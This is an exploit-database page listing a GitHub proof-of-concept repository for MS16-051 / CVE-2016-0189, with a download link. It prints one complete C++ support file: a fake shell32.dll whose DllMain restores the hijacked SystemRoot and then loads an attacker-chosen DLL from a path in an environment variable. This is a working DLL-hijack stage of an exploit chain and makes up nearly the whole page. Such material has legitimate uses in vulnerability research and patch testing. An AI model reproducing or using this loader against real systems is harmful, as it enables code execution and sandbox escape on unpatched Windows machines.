Exploit database

GH-8f89d55f0b12822eb6736a7208afb36e

deamwork/ms16-051-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2016-0189

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
deamwork/ms16-051-pocRevision 15460d9e160d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

support/ieshell32.cpp

Suggested starting fileC++ · 937 bytes
/*
From: https://gist.github.com/worawit/1213febe36aa8331e092

Fake shell32.dll to be loaded after modified %SystemRoot%
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

static void do_work()
{
	WCHAR envBuffer[256];

	GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
	// restore system root
	SetEnvironmentVariableW(L"SystemRoot", envBuffer);
	//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);

	GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
	SetEnvironmentVariableW(L"MyDllPath", NULL);

	// shell32.dll will be unloaded, use another dll
	LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		do_work();
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}